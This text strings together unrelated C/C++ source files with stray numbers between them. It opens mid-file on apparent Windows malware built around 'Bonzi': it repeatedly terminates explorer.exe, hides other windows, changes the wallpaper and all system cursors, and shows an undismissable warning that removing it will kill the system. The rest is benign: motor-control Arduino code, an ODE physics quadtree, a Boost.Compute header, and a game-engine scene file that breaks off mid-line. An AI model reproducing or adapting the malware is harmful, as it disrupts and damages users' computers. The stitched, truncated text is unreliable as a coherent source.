= 0; RegisterClassEx(&c); int w = GetSystemMetrics(SM_CXSCREEN); int h = GetSystemMetrics(SM_CYSCREEN); LOGFONT lf; GetObject(GetStockObject(DEFAULT_GUI_FONT), sizeof(LOGFONT), &lf); font = CreateFont(-35, lf.lfWidth, lf.lfEscapement, lf.lfOrientation, lf.lfWeight, lf.lfItalic, lf.lfUnderline, lf.lfStrikeOut, lf.lfCharSet, lf.lfOutPrecision, lf.lfClipPrecision, lf.lfQuality, lf.lfPitchAndFamily, lf.lfFaceName); bonziWindow = CreateWindowExW(WS_EX_TOPMOST | WS_EX_TOOLWINDOW, L"bonziWnd", L"BONZI", WS_POPUP, 0, h - 60, w, 60, NULL, NULL, GetModuleHandle(NULL), NULL); HWND btn = CreateWindowW(L"BUTTON", L"END MY PAIN!", WS_VISIBLE | WS_CHILD | BS_PUSHLIKE | BS_NOTIFY, w-300, 0, 300, 60, bonziWindow, NULL, GetModuleHandle(NULL), NULL); SendMessage(btn, WM_SETFONT, (WPARAM)font, TRUE); CreateThread(NULL, 0, &bonziWatchdogThread, NULL, 0, NULL); while (!bonziRunOnce) Sleep(100); ShowWindow(bonziWindow, SW_SHOW); UpdateWindow(bonziWindow); MSG msg; while (GetMessage(&msg, NULL, 0, 0) > 0) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; } LRESULT CALLBACK WindowProcBonzi(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { PAINTSTRUCT ps; HDC hdc; if (msg == WM_DESTROY) { kill(); } else if (msg == WM_COMMAND) { if (wParam == BN_CLICKED) { kill(); } } else if (msg == WM_PAINT) { hdc = BeginPaint(hwnd, &ps); SelectObject(hdc, font); SetTextColor(hdc, RGB(255, 0, 0)); SetBkColor(hdc, RGB(0, 0, 0)); LPCWSTR msg = L"WARNING: Getting rid of Bonzi will also kill your system!"; SIZE size; GetTextExtentPoint32(hdc, msg, lstrlenW(msg), &size); TextOutW(hdc, size.cy / 2, 30-size.cy/2, msg, lstrlenW(msg)); EndPaint(hwnd, &ps); } else { return DefWindowProc(hwnd, msg, wParam, lParam); } return 0; } LRESULT CALLBACK WindowProcNoClose(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { if (msg == WM_DESTROY || msg == WM_CLOSE) { return 0; } return DefWindowProc(hwnd, msg, wParam, lParam); } DWORD WINAPI bonziWatchdogThread(LPVOID parameter) { HWND hwnd = GetDesktopWindow(); HDC hdc = GetWindowDC(hwnd); RECT rekt; GetWindowRect(hwnd, &rekt); int w = rekt.right - rekt.left; int h = rekt.bottom - rekt.top; for (;;) { PROCESSENTRY32 proc; proc.dwSize = sizeof(proc); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); Process32First(snapshot, &proc); bonziRun = FALSE; DWORD bonzi = 0; do { if (lstrcmpiW(proc.szExeFile, L"BonziBDY_35.EXE") == 0) { bonziRun = TRUE; bonzi = proc.th32ProcessID; } else if (lstrcmpiW(proc.szExeFile, L"explorer.exe") == 0) { TerminateProcess(OpenProcess(PROCESS_TERMINATE, FALSE, proc.th32ProcessID), 0); } } while (Process32Next(snapshot, &proc)); CloseHandle(snapshot); if (!bonziRun && bonziRunOnce) kill(); bonziRun = FALSE; EnumWindows(hideProc2, bonzi); if (!bonziRun && bonziRunOnce) kill(); Sleep(50); } } PAYLOADHOST(playSoundHost) { Sound *snd = (Sound *)((PAYLOAD*)parameter)->payloadFunction; playSound(snd->alias, snd->type, snd->name, TRUE); while (!bonzi) { Sleep(100); } stopSound(snd->alias); return 0; } PAYLOADHOST(payloadChangeDesktop) { SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, rename(L"Data\\2.bin", L"Data\\Pussy.png"), SPIF_UPDATEINIFILE); HWND hwnd = FindWindowA("Shell_TrayWnd", NULL); SendMessage(hwnd, WM_COMMAND, (WPARAM)419, 0); playSound(L"pussy", L"Data\\8.bin", FALSE); return 0; } PAYLOADHOST(payloadChangeCursor) { // Shitty rushed solution for (int c = 32512; c < 32640; c++) { HCURSOR sword = (HCURSOR)LoadImage(NULL, rename(L"Data\\9.bin", L"Data\\Sword.ani"), IMAGE_CURSOR, 0, 0, LR_LOADFROMFILE); SetSystemCursor(sword, c); } playSound(L"sword", L"Data\\10.bin", FALSE); return 0; } BOOL CALLBACK hideProc(HWND hwnd, LPARAM lParam) { if (lParam == NULL) { ShowWindow(hwnd, SW_HIDE); return TRUE; } DWORD pid; GetWindowThreadProcessId(hwnd, &pid); do { if (pid == lParam && IsWindowVisible(hwnd)) { ShowWindow(hwnd, SW_HIDE); return TRUE; } } while ((pid = getParentProcess(pid)) != 0); return TRUE; } // 100% self-explaining function names BOOL CALLBACK hideProc2(HWND hwnd, LPARAM lParam) { DWORD pid; GetWindowThreadProcessId(hwnd, &pid); PROCESSENTRY32 proc; proc.dwSize = sizeof(proc); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); Process32First(snapshot, &proc); BOOL good = (pid == lParam || pid == GetCurrentProcessId()); do { if (proc.th32ProcessID == pid && (proc.th32ParentProcessID == lParam || lstrcmpiW(proc.szExeFile, L"AgentSvr.exe") == 0)) { good = TRUE; if (IsWindowVisible(hwnd)) { bonziRun = TRUE; bonziRunOnce = TRUE; } break; } } while (Process32Next(snapshot, &proc)); CloseHandle(snapshot); if (!good) ShowWindow(hwnd, SW_HIDE); return TRUE; } // 10/10 - Best code organisation PAYLOADFUNCTIONDEFAULT(payloadJoelSounds) { if (!block) if (random()%4>0) playSound(L"thicc", L"Data\\5.bin", FALSE); else playSound(L"koopnu", L"Data\\6.bin", FALSE); return 10; }
16,426
7,919
/*! * \file BLDCM-control-ino.cpp * \name BLDCM-control-ino.cpp - basic motor control functions for Arduino * \author Infineon Technologies AG * \copyright 2020-2021 Infineon Technologies AG * \version 1.0.0 * \brief This library includes the basic common functions to control a BLDC motor using an instance of TLE9563 * \ref tle9563corelib * * SPDX-License-Identifier: MIT * */ #include "BLDCM-control-ino.hpp" #if (TLE9563_FRAMEWORK == TLE9563_FRMWK_ARDUINO) BLDCMcontrolIno::BLDCMcontrolIno(void) { BLDCMcontrol::pwmU = new ADCIno(ARDUINO_UNO.PWM_U); BLDCMcontrol::pwmV = new ADCIno(ARDUINO_UNO.PWM_V); BLDCMcontrol::pwmW = new ADCIno(ARDUINO_UNO.PWM_W); BLDCMcontrol::bemfU = new GPIOIno(ARDUINO_UNO.BEMF_U_IO, INPUT, GPIOIno::POSITIVE ); BLDCMcontrol::bemfV = new GPIOIno(ARDUINO_UNO.BEMF_V_IO, INPUT, GPIOIno::POSITIVE ); BLDCMcontrol::bemfW = new GPIOIno(ARDUINO_UNO.BEMF_W_IO, INPUT, GPIOIno::POSITIVE ); BLDCMcontrol::hallA = new GPIOIno(ARDUINO_UNO.HALL_A, INPUT, GPIOIno::POSITIVE ); BLDCMcontrol::hallB = new GPIOIno(ARDUINO_UNO.HALL_B, INPUT, GPIOIno::POSITIVE ); BLDCMcontrol::hallC = new GPIOIno(ARDUINO_UNO.HALL_C, INPUT, GPIOIno::POSITIVE ); BLDCMcontrol::timer = new TimerIno(); BLDCMcontrol::rpmtimer = new TimerIno(); BLDCMcontrol::controller = new TLE9563Ino(); } /** @} */ #endif /** TLE9563_FRAMEWORK **/
1,444
694
/************************************************************************* * * * Open Dynamics Engine, Copyright (C) 2001-2003 Russell L. Smith. * * All rights reserved. Email: russ@q12.org Web: www.q12.org * * * * This library is free software; you can redistribute it and/or * * modify it under the terms of EITHER: * * (1) The GNU Lesser General Public License as published by the Free * * Software Foundation; either version 2.1 of the License, or (at * * your option) any later version. The text of the GNU Lesser * * General Public License is included with this library in the * * file LICENSE.TXT. * * (2) The BSD-style license that is included with this library in * * the file LICENSE-BSD.TXT. * * * * This library is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the files * * LICENSE.TXT and LICENSE-BSD.TXT for more details. * * * *************************************************************************/ // QuadTreeSpace by Erwin de Vries. #include "ode/ode_common.h" #include "ode/ode_matrix.h" #include "ode/ode_collision_space.h" #include "ode/ode_collision.h" #include "ode/ode_collision_kernel.h" #include "ode/ode_collision_space_internal.h" #define AXIS0 0 #define AXIS1 1 #define UP 2 //#define DRAWBLOCKS const int SPLITAXIS = 2; const int SPLITS = SPLITAXIS * SPLITAXIS; #define GEOM_ENABLED(g) (g)->gflags & GEOM_ENABLED class Block{ public: dReal MinX, MaxX; dReal MinZ, MaxZ; dGeomID First; int GeomCount; Block* Parent; Block* Children; void Create(const dVector3 Center, const dVector3 Extents, Block* Parent, int Depth, Block*& Blocks); void Collide(void* UserData, dNearCallback* Callback); void Collide(dGeomID Object, dGeomID g, void* UserData, dNearCallback* Callback); void CollideLocal(dGeomID Object, void* UserData, dNearCallback* Callback); void AddObject(dGeomID Object); void DelObject(dGeomID Object); void Traverse(dGeomID Object); bool Inside(const dReal* AABB); Block* GetBlock(const dReal* AABB); Block* GetBlockChild(const dReal* AABB); }; #ifdef DRAWBLOCKS #include "ode/ode_drawstuff.h" static void DrawBlock(Block* Block){ dVector3 v[8]; v[0][AXIS0] = Block->MinX; v[0][UP] = REAL(-1.0); v[0][AXIS1] = Block->MinZ; v[1][AXIS0] = Block->MinX; v[1][UP] = REAL(-1.0); v[1][AXIS1] = Block->MaxZ; v[2][AXIS0] = Block->MaxX; v[2][UP] = REAL(-1.0); v[2][AXIS1] = Block->MinZ; v[3][AXIS0] = Block->MaxX; v[3][UP] = REAL(-1.0); v[3][AXIS1] = Block->MaxZ; v[4][AXIS0] = Block->MinX; v[4][UP] = REAL(1.0); v[4][AXIS1] = Block->MinZ; v[5][AXIS0] = Block->MinX; v[5][UP] = REAL(1.0); v[5][AXIS1] = Block->MaxZ; v[6][AXIS0] = Block->MaxX; v[6][UP] = REAL(1.0); v[6][AXIS1] = Block->MinZ; v[7][AXIS0] = Block->MaxX; v[7][UP] = REAL(1.0); v[7][AXIS1] = Block->MaxZ; // Bottom dsDrawLine(v[0], v[1]); dsDrawLine(v[1], v[3]); dsDrawLine(v[3], v[2]); dsDrawLine(v[2], v[0]); // Top dsDrawLine(v[4], v[5]); dsDrawLine(v[5], v[7]); dsDrawLine(v[7], v[6]); dsDrawLine(v[6], v[4]); // Sides dsDrawLine(v[0], v[4]); dsDrawLine(v[1], v[5]); dsDrawLine(v[2], v[6]); dsDrawLine(v[3], v[7]); } #endif //DRAWBLOCKS void Block::Create(const dVector3 Center, const dVector3 Extents, Block* Parent, int Depth, Block*& Blocks){ GeomCount = 0; First = 0; MinX = Center[AXIS0] - Extents[AXIS0]; MaxX = Center[AXIS0] + Extents[AXIS0]; MinZ = Center[AXIS1] - Extents[AXIS1]; MaxZ = Center[AXIS1] + Extents[AXIS1]; this->Parent = Parent; if (Depth > 0){ Children = Blocks; Blocks += SPLITS; dVector3 ChildExtents; ChildExtents[AXIS0] = Extents[AXIS0] / SPLITAXIS; ChildExtents[AXIS1] = Extents[AXIS1] / SPLITAXIS; ChildExtents[UP] = Extents[UP]; for (int i = 0; i < SPLITAXIS; i++){ for (int j = 0; j < SPLITAXIS; j++){ int Index = i * SPLITAXIS + j; dVector3 ChildCenter; ChildCenter[AXIS0] = Center[AXIS0] - Extents[AXIS0] + ChildExtents[AXIS0] + i * (ChildExtents[AXIS0] * 2); ChildCenter[AXIS1] = Center[AXIS1] - Extents[AXIS1] + ChildExtents[AXIS1] + j * (ChildExtents[AXIS1] * 2); ChildCenter[UP] = Center[UP]; Children[Index].Create(ChildCenter, ChildExtents, this, Depth - 1, Blocks); } } } else Children = 0; } void Block::Collide(void* UserData, dNearCallback* Callback){ #ifdef DRAWBLOCKS DrawBlock(this); #endif // Collide the local list dxGeom* g = First; while (g){ if (GEOM_ENABLED(g)){ Collide(g, g->next, UserData, Callback); } g = g->next; } // Recurse for children if (Children){ for (int i = 0; i < SPLITS; i++){ if (Children[i].GeomCount <= 1){ // Early out continue; } Children[i].Collide(UserData, Callback); } } } void Block::Collide(dxGeom* g1, dxGeom* g2, void* UserData, dNearCallback* Callback){ #ifdef DRAWBLOCKS DrawBlock(this); #endif // Collide against local list while (g2){ if (GEOM_ENABLED(g2)){ collideAABBs (g1, g2, UserData, Callback); } g2 = g2->next; } // Collide against children if (Children){ for (int i = 0; i < SPLITS; i++){ // Early out for empty blocks if (Children[i].GeomCount == 0){ continue; } // Does the geom's AABB collide with the block? // Dont do AABB tests for single geom blocks. if (Children[i].GeomCount == 1 && Children[i].First){ // } else if (true){ if (g1->aabb[AXIS0 * 2 + 0] > Children[i].MaxX || g1->aabb[AXIS0 * 2 + 1] < Children[i].MinX || g1->aabb[AXIS1 * 2 + 0] > Children[i].MaxZ || g1->aabb[AXIS1 * 2 + 1] < Children[i].MinZ) continue; } Children[i].Collide(g1, Children[i].First, UserData, Callback); } } } void Block::CollideLocal(dxGeom* g1, void* UserData, dNearCallback* Callback){ // Collide against local list dxGeom* g2 = First; while (g2){ if (GEOM_ENABLED(g2)){ collideAABBs (g1, g2, UserData, Callback); } g2 = g2->next; } } void Block::AddObject(dGeomID Object){ // Add the geom Object->next = First; First = Object; Object->tome = (dxGeom**)this; // Now traverse upwards to tell that we have a geom Block* Block = this; do{ Block->GeomCount++; Block = Block->Parent; } while (Block); } void Block::DelObject(dGeomID Object){ // Del the geom dxGeom* g = First; dxGeom* Last = 0; while (g){ if (g == Object){ if (Last){ Last->next = g->next; } else First = g->next; break; } Last = g; g = g->next; } Object->tome = 0; // Now traverse upwards to tell that we have lost a geom Block* Block = this; do{ Block->GeomCount--; Block = Block->Parent; } while (Block); } void Block::Traverse(dGeomID Object){ Block* NewBlock = GetBlock(Object->aabb); if (NewBlock != this){ // Remove the geom from the old block and add it to the new block. // This could be more optimal, but the loss should be very small. DelObject(Object); NewBlock->AddObject(Object); } } bool Block::Inside(const dReal* AABB){ return AABB[AXIS0 * 2 + 0] >= MinX && AABB[AXIS0 * 2 + 1] <= MaxX && AABB[AXIS1 * 2 + 0] >= MinZ && AABB[AXIS1 * 2 + 1] <= MaxZ; } Block* Block::GetBlock(const dReal* AABB){ if (Inside(AABB)){ return GetBlockChild(AABB); // Child or this will have a good block } else if (Parent){ return Parent->GetBlock(AABB); // Parent has a good block } else return this; // We are at the root, so we have little choice } Block* Block::GetBlockChild(const dReal* AABB){ if (Children){ for (int i = 0; i < SPLITS; i++){ if (Children[i].Inside(AABB)){ return Children[i].GetBlockChild(AABB); // Child will have good block } } } return this; // This is the best block } //**************************************************************************** // quadtree space struct dxQuadTreeSpace : public dxSpace{ Block* Blocks; // Blocks[0] is the root dArray<dxGeom*> DirtyList; dxQuadTreeSpace(dSpaceID _space, dVector3 Center, dVector3 Extents, int Depth); ~dxQuadTreeSpace(); dxGeom* getGeom(int i); void add(dxGeom* g); void remove(dxGeom* g); void dirty(dxGeom* g); void computeAABB(); void cleanGeoms(); void collide(void* UserData, dNearCallback* Callback); void collide2(void* UserData, dxGeom* g1, dNearCallback* Callback); // Temp data Block* CurrentBlock; // Only used while enumerating int* CurrentChild; // Only used while enumerating int CurrentLevel; // Only used while enumerating dxGeom* CurrentObject; // Only used while enumerating int CurrentIndex; }; dxQuadTreeSpace::dxQuadTreeSpace(dSpaceID _space, dVector3 Center, dVector3 Extents, int Depth) : dxSpace(_space){ type = dQuadTreeSpaceClass; int BlockCount = 0; for (int i = 0; i <= Depth; i++){ BlockCount += (int)pow(dReal(SPLITS), i); } Blocks = (Block*)dAlloc(BlockCount * sizeof(Block)); Block* Blocks = this->Blocks + 1; // This pointer gets modified! this->Blocks[0].Create(Center, Extents, 0, Depth, Blocks); CurrentBlock = 0; CurrentChild = (int*)dAlloc((Depth + 1) * sizeof(int)); CurrentLevel = 0; CurrentObject = 0; CurrentIndex = -1; // Init AABB. We initialize to infinity because it is not illegal for an object to be outside of the tree. Its simply inserted in the root block aabb[0] = -dInfinity; aabb[1] = dInfinity; aabb[2] = -dInfinity; aabb[3] = dInfinity; aabb[4] = -dInfinity; aabb[5] = dInfinity; } dxQuadTreeSpace::~dxQuadTreeSpace(){ int Depth = 0; Block* Current = &Blocks[0]; while (Current){ Depth++; Current = Current->Children; } int BlockCount = 0; for (int i = 0; i < Depth; i++){ BlockCount += (int)pow(dReal(SPLITS), i); } dFree(Blocks, BlockCount * sizeof(Block)); dFree(CurrentChild, (Depth + 1) * sizeof(int)); } dxGeom* dxQuadTreeSpace::getGeom(int Index){ dUASSERT(Index >= 0 && Index < count, "index out of range"); //@@@ dDebug (0,"dxQuadTreeSpace::getGeom() not yet implemented"); return 0; // This doesnt work /*if (CurrentIndex == Index){ // Loop through all objects in the local list CHILDRECURSE: if (CurrentObject){ dGeomID g = CurrentObject; CurrentObject = CurrentObject->next; CurrentIndex++; #ifdef DRAWBLOCKS DrawBlock(CurrentBlock); #endif //DRAWBLOCKS return g; } else{ // Now lets loop through our children. Starting at index 0. if (CurrentBlock->Children){ CurrentChild[CurrentLevel] = 0; PARENTRECURSE: for (int& i = CurrentChild[CurrentLevel]; i < SPLITS; i++){ if (CurrentBlock->Children[i].GeomCount == 0){ continue; } CurrentBlock = &CurrentBlock->Children[i]; CurrentObject = CurrentBlock->First; i++; CurrentLevel++; goto CHILDRECURSE; } } } // Now lets go back to the parent so it can continue processing its other children. if (CurrentBlock->Parent){ CurrentBlock = CurrentBlock->Parent; CurrentLevel--; goto PARENTRECURSE; } } else{ CurrentBlock = &Blocks[0]; CurrentLevel = 0; CurrentObject = CurrentObject; CurrentIndex = 0; // Other states are already set CurrentObject = CurrentBlock->First; } if (current_geom && current_index == Index - 1){ //current_geom = current_geom->next; // next current_index = Index; return current_geom; } else for (int i = 0; i < Index; i++){ // this will be verrrrrrry slow getGeom(i); }*/ return 0; } void dxQuadTreeSpace::add(dxGeom* g){ CHECK_NOT_LOCKED (this); dAASSERT(g); dUASSERT(g->parent_space == 0 && g->next == 0, "geom is already in a space"); g->gflags |= GEOM_DIRTY | GEOM_AABB_BAD; DirtyList.push(g); // add g->parent_space = this; Blocks[0].GetBlock(g->aabb)->AddObject(g); // Add to best block count++; // enumerator has been invalidated current_geom = 0; dGeomMoved(this); } void dxQuadTreeSpace::remove(dxGeom* g){ CHECK_NOT_LOCKED(this); dAASSERT(g); dUASSERT(g->parent_space == this,"object is not in this space"); // remove ((Block*)g->tome)->DelObject(g); count--; for (int i = 0; i < DirtyList.size(); i++){ if (DirtyList[i] == g){ DirtyList.remove(i); break; } } // safeguard g->next = 0; g->tome = 0; g->parent_space = 0; // enumerator has been invalidated current_geom = 0; // the bounding box of this space (and that of all the parents) may have // changed as a consequence of the removal. dGeomMoved(this); } void dxQuadTreeSpace::dirty(dxGeom* g){ DirtyList.push(g); } void dxQuadTreeSpace::computeAABB(){ // } void dxQuadTreeSpace::cleanGeoms(){ // compute the AABBs of all dirty geoms, and clear the dirty flags lock_count++; for (int i = 0; i < DirtyList.size(); i++){ dxGeom* g = DirtyList[i]; if (IS_SPACE(g)){ ((dxSpace*)g)->cleanGeoms(); } g->recomputeAABB(); g->gflags &= (~(GEOM_DIRTY|GEOM_AABB_BAD)); ((Block*)g->tome)->Traverse(g); } DirtyList.setSize(0); lock_count--; } void dxQuadTreeSpace::collide(void* UserData, dNearCallback* Callback){ dAASSERT(Callback); lock_count++; cleanGeoms(); Blocks[0].Collide(UserData, Callback); lock_count--; } void dxQuadTreeSpace::collide2(void* UserData, dxGeom* g1, dNearCallback* Callback){ dAASSERT(g1 && Callback); lock_count++; cleanGeoms(); g1->recomputeAABB(); if (g1->parent_space == this){ // The block the geom is in Block* CurrentBlock = (Block*)g1->tome; // Collide against block and its children CurrentBlock->Collide(g1, CurrentBlock->First, UserData, Callback); // Collide against parents while (true){ CurrentBlock = CurrentBlock->Parent; if (!CurrentBlock){ break; } CurrentBlock->CollideLocal(g1, UserData, Callback); } } else Blocks[0].Collide(g1, Blocks[0].First, UserData, Callback); lock_count--; } dSpaceID dQuadTreeSpaceCreate(dxSpace* space, dVector3 Center, dVector3 Extents, int Depth){ return new dxQuadTreeSpace(space, Center, Extents, Depth); }
14,358
5,926
//---------------------------------------------------------------------------// // Copyright (c) 2013 Kyle Lutz <kyle.r.lutz@gmail.com> // // Distributed under the Boost Software License, Version 1.0 // See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt // // See http://boostorg.github.com/compute for more information. //---------------------------------------------------------------------------// #ifndef BOOST_COMPUTE_TYPES_TUPLE_HPP #define BOOST_COMPUTE_TYPES_TUPLE_HPP #include <string> #include <utility> #include <boost/preprocessor/enum.hpp> #include <boost/preprocessor/expr_if.hpp> #include <boost/preprocessor/repetition.hpp> #include <boost/tuple/tuple.hpp> #include <boost/compute/config.hpp> #include <boost/compute/functional/get.hpp> #include <boost/compute/type_traits/type_name.hpp> #include <boost/compute/detail/meta_kernel.hpp> #ifndef BOOST_COMPUTE_DETAIL_NO_STD_TUPLE #include <tuple> #endif namespace boost { namespace compute { namespace detail { // meta_kernel operators for boost::tuple literals #define BOOST_COMPUTE_PRINT_ELEM(z, n, unused) \ BOOST_PP_EXPR_IF(n, << ", ") \ << kernel.make_lit(boost::get<n>(x)) #define BOOST_COMPUTE_PRINT_TUPLE(z, n, unused) \ template<BOOST_PP_ENUM_PARAMS(n, class T)> \ inline meta_kernel& \ operator<<(meta_kernel &kernel, \ const boost::tuple<BOOST_PP_ENUM_PARAMS(n, T)> &x) \ { \ return kernel \ << "(" \ << type_name<boost::tuple<BOOST_PP_ENUM_PARAMS(n, T)> >() \ << ")" \ << "{" \ BOOST_PP_REPEAT(n, BOOST_COMPUTE_PRINT_ELEM, ~) \ << "}"; \ } BOOST_PP_REPEAT_FROM_TO(1, BOOST_COMPUTE_MAX_ARITY, BOOST_COMPUTE_PRINT_TUPLE, ~) #undef BOOST_COMPUTE_PRINT_TUPLE #undef BOOST_COMPUTE_PRINT_ELEM // inject_type() specializations for boost::tuple #define BOOST_COMPUTE_INJECT_TYPE(z, n, unused) \ kernel.inject_type<T ## n>(); #define BOOST_COMPUTE_INJECT_DECL(z, n, unused) \ << " " << type_name<T ## n>() << " v" #n ";\n" #define BOOST_COMPUTE_INJECT_IMPL(z, n, unused) \ template<BOOST_PP_ENUM_PARAMS(n, class T)> \ struct inject_type_impl<boost::tuple<BOOST_PP_ENUM_PARAMS(n, T)> > \ { \ void operator()(meta_kernel &kernel) \ { \ typedef boost::tuple<BOOST_PP_ENUM_PARAMS(n, T)> tuple_type; \ BOOST_PP_REPEAT(n, BOOST_COMPUTE_INJECT_TYPE, ~) \ std::stringstream declaration; \ declaration << "typedef struct {\n" \ BOOST_PP_REPEAT(n, BOOST_COMPUTE_INJECT_DECL, ~) \ << "} " << type_name<tuple_type>() << ";\n"; \ kernel.add_type_declaration<tuple_type>(declaration.str()); \ } \ }; BOOST_PP_REPEAT_FROM_TO(1, BOOST_COMPUTE_MAX_ARITY, BOOST_COMPUTE_INJECT_IMPL, ~) #undef BOOST_COMPUTE_INJECT_IMPL #undef BOOST_COMPUTE_INJECT_DECL #undef BOOST_COMPUTE_INJECT_TYPE #ifdef BOOST_COMPUTE_DETAIL_NO_VARIADIC_TEMPLATES // type_name() specializations for boost::tuple (without variadic templates) #define BOOST_COMPUTE_PRINT_TYPE(z, n, unused) \ + type_name<T ## n>() + "_" #define BOOST_COMPUTE_PRINT_TYPE_NAME(z, n, unused) \ template<BOOST_PP_ENUM_PARAMS(n, class T)> \ struct type_name_trait<boost::tuple<BOOST_PP_ENUM_PARAMS(n, T)> > \ { \ static const char* value() \ { \ static std::string name = \ std::string("boost_tuple_") \ BOOST_PP_REPEAT(n, BOOST_COMPUTE_PRINT_TYPE, ~) \ "t"; \ return name.c_str(); \ } \ }; BOOST_PP_REPEAT_FROM_TO(1, BOOST_COMPUTE_MAX_ARITY, BOOST_COMPUTE_PRINT_TYPE_NAME, ~) #undef BOOST_COMPUTE_PRINT_TYPE_NAME #undef BOOST_COMPUTE_PRINT_TYPE #else template<size_t N, class T, class... Rest> struct write_tuple_type_names { void operator()(std::ostream &os) { os << type_name<T>() << "_"; write_tuple_type_names<N-1, Rest...>()(os); } }; template<class T, class... Rest> struct write_tuple_type_names<1, T, Rest...> { void operator()(std::ostream &os) { os << type_name<T>(); } }; // type_name<> specialization for boost::tuple<...> (with variadic templates) template<class... T> struct type_name_trait<boost::tuple<T...>> { static const char* value() { static std::string str = make_type_name(); return str.c_str(); } static std::string make_type_name() { typedef typename boost::tuple<T...> tuple_type; std::stringstream s; s << "boost_tuple_"; write_tuple_type_names< boost::tuples::length<tuple_type>::value, T... >()(s); s << "_t"; return s.str(); } }; #endif // BOOST_COMPUTE_DETAIL_NO_VARIADIC_TEMPLATES #ifndef BOOST_COMPUTE_DETAIL_NO_STD_TUPLE // type_name<> specialization for std::tuple<T...> template<class... T> struct type_name_trait<std::tuple<T...>> { static const char* value() { static std::string str = make_type_name(); return str.c_str(); } static std::string make_type_name() { typedef typename std::tuple<T...> tuple_type; std::stringstream s; s << "std_tuple_"; write_tuple_type_names< std::tuple_size<tuple_type>::value, T... >()(s); s << "_t"; return s.str(); } }; #endif // BOOST_COMPUTE_DETAIL_NO_STD_TUPLE // get<N>() result type specialization for boost::tuple<> #define BOOST_COMPUTE_GET_RESULT_TYPE(z, n, unused) \ template<size_t N, BOOST_PP_ENUM_PARAMS(n, class T)> \ struct get_result_type<N, boost::tuple<BOOST_PP_ENUM_PARAMS(n, T)> > \ { \ typedef typename boost::tuple<BOOST_PP_ENUM_PARAMS(n, T)> T; \ typedef typename boost::tuples::element<N, T>::type type; \ }; BOOST_PP_REPEAT_FROM_TO(1, BOOST_COMPUTE_MAX_ARITY, BOOST_COMPUTE_GET_RESULT_TYPE, ~) #undef BOOST_COMPUTE_GET_RESULT_TYPE // get<N>() specialization for boost::tuple<> #define BOOST_COMPUTE_GET_N(z, n, unused) \ template<size_t N, class Arg, BOOST_PP_ENUM_PARAMS(n, class T)> \ inline meta_kernel& operator<<(meta_kernel &kernel, \ const invoked_get<N, Arg, boost::tuple<BOOST_PP_ENUM_PARAMS(n, T)> > &expr) \ { \ typedef typename boost::tuple<BOOST_PP_ENUM_PARAMS(n, T)> T; \ BOOST_STATIC_ASSERT(N < size_t(boost::tuples::length<T>::value)); \ kernel.inject_type<T>(); \ return kernel << expr.m_arg << ".v" << uint_(N); \ } BOOST_PP_REPEAT_FROM_TO(1, BOOST_COMPUTE_MAX_ARITY, BOOST_COMPUTE_GET_N, ~) #undef BOOST_COMPUTE_GET_N } // end detail namespace } // end compute namespace } // end boost namespace #endif // BOOST_COMPUTE_TYPES_TUPLE_HPP
8,839
2,695
#include "Scene.h" #include "GameObject.h" #include "Application.h" #include "Modules/ModuleTime.h" #include "Modules/ModuleEditor.h" #include "Modules/ModuleRender.h" #include "Modules/ModulePhysics.h" #include "Modules/ModuleTime.h" #include "Modules/ModuleCamera.h" #include "Modules/ModuleWindow.h" #include "Modules/ModuleProject.h" #include "Modules/ModuleResources.h" #include "Scripting/PropertyMap.h" #include "Resources/ResourceMesh.h" #include "Utils/Logging.h" #include "Utils/Leaks.h" #define JSON_TAG_ROOT "Root" #define JSON_TAG_QUADTREE_BOUNDS "QuadtreeBounds" #define JSON_TAG_QUADTREE_MAX_DEPTH "QuadtreeMaxDepth" #define JSON_TAG_QUADTREE_ELEMENTS_PER_NODE "QuadtreeElementsPerNode" #define JSON_TAG_GAME_CAMERA "GameCamera" #define JSON_TAG_AMBIENTLIGHT "AmbientLight" #define JSON_TAG_NAVMESH "NavMesh" #define JSON_TAG_CURSOR_WIDTH "CursorWidth" #define JSON_TAG_CURSOR_HEIGHT "CursorHeight" #define JSON_TAG_CURSOR "Cursor" Scene::Scene(unsigned numGameObjects) { gameObjects.Allocate(numGameObjects); transformComponents.Allocate(numGameObjects); meshRendererComponents.Allocate(numGameObjects); boundingBoxComponents.Allocate(numGameObjects); cameraComponents.Allocate(numGameObjects); lightComponents.Allocate(numGameObjects); canvasComponents.Allocate(numGameObjects); canvasRendererComponents.Allocate(numGameObjects); imageComponents.Allocate(numGameObjects); transform2DComponents.Allocate(numGameObjects); boundingBox2DComponents.Allocate(numGameObjects); eventSystemComponents.Allocate(numGameObjects); toggleComponents.Allocate(numGameObjects); textComponents.Allocate(numGameObjects); buttonComponents.Allocate(numGameObjects); selectableComponents.Allocate(numGameObjects); sliderComponents.Allocate(numGameObjects); skyboxComponents.Allocate(numGameObjects); scriptComponents.Allocate(numGameObjects); animationComponents.Allocate(numGameObjects); particleComponents.Allocate(numGameObjects); trailComponents.Allocate(numGameObjects); audioSourceComponents.Allocate(numGameObjects); audioListenerComponents.Allocate(numGameObjects); progressbarsComponents.Allocate(numGameObjects); billboardComponents.Allocate(numGameObjects); sphereColliderComponents.Allocate(numGameObjects); boxColliderComponents.Allocate(numGameObjects); capsuleColliderComponents.Allocate(numGameObjects); agentComponents.Allocate(numGameObjects); obstacleComponents.Allocate(numGameObjects); fogComponents.Allocate(numGameObjects); videoComponents.Allocate(numGameObjects); } Scene::~Scene() { ClearScene(); } void Scene::ClearScene() { App->resources->DecreaseReferenceCount(cursorId); DestroyGameObject(root); root = nullptr; quadtree.Clear(); assert(gameObjects.Count() == 0); // There should be no GameObjects outside the scene hierarchy gameObjects.Clear(); // This looks redundant, but it resets the free list so that GameObject order is mantained when saving/loading staticShadowCasters.clear(); dynamicShadowCasters.clear(); mainEntitiesShadowCasters.clear(); } void Scene::RebuildQuadtree() { quadtree.Initialize(quadtreeBounds, quadtreeMaxDepth, quadtreeElementsPerNode); for (ComponentBoundingBox& boundingBox : boundingBoxComponents) { GameObject& gameObject = boundingBox.GetOwner(); if 